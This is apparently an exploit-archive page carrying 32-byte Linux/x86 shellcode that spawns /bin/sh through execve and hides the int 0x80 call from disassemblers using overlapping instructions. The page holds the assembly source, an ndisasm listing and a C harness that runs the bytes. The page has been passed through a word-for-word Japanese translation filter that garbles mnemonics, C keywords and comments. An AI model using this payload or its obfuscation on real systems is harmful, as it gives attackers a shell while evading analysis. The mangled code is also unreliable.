このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - execve() Diassembly Obfuscation Shellcode - 32 bytes
/*  execve() shellcode with 'fuck up disasm' ability, 32 bytes long
    by BaCkSpAcE [sinisa86(at)gmail(dot)com]
    BitByterz Labs 2006
    http://www.bitbyterz.org

;
; shellcode.asm
;
  fupdisasm:
    db 0x68		; opcode for PUSH DW 指示/教授/教育
    db 0xcd		; crypt+1, opcode for INT 指示/教授/教育
    db 0x80		; interrupt number (80 in this 事例/患者)
    db 0x68		; crypt+3
    db 0x68
    jmp fupdisasm+3
    db 0x68		; MAGIC_BYTE: this byte makes disasm go crazy

; our shellcode which we want to hide
    押し進める byte 11
    pop eax
    xor edx, edx
    押し進める edx
    押し進める 0x68732f2f
    押し進める 0x6e69622f
    mov ebx, esp
    押し進める edx
    押し進める ebx
    mov ecx, esp
    jmp fupdisasm+1	; jumps on 演説(する)/住所 where is hidden int 0x80


    backspace@bitbyterz# nasm shellcode.asm
    backspace@bitbyterz# ndisasm -u shellcode
    00000000  68CD806868        押し進める dword 0x686880cd
    00000005  EBFC              jmp short 0x3
    00000007  686A0B5831        押し進める dword 0x31580b6a
    0000000C  D25268            rcl byte [edx+0x68],cl
    0000000F  2F                das
    00000010  2F                das
    00000011  7368              jnc 0x7b
    00000013  682F62696E        押し進める dword 0x6e69622f
    00000018  89E3              mov ebx,esp
    0000001A  52                押し進める edx
    0000001B  53                押し進める ebx
    0000001C  89E1              mov ecx,esp
    0000001E  EBE1              jmp short 0x1

    Find difference between 初めの and dissasembled shellcode ;)
*/

#含む <stdio.h>
#含む <string.h>

char shellcode[] =      "\x68\xcd\x80\x68\x68\xeb\xfc\x68"
			"\x6a\x0b\x58\x31\xd2\x52\x68\x2f"
			"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
			"\x89\xe3\x52\x53\x89\xe1\xeb\xe1";

main() {
  無効の  (*fp) (無効の);
  fp = (無効の *) shellcode;
  printf ("%d bytes\n", strlen(shellcode));
  fp();
}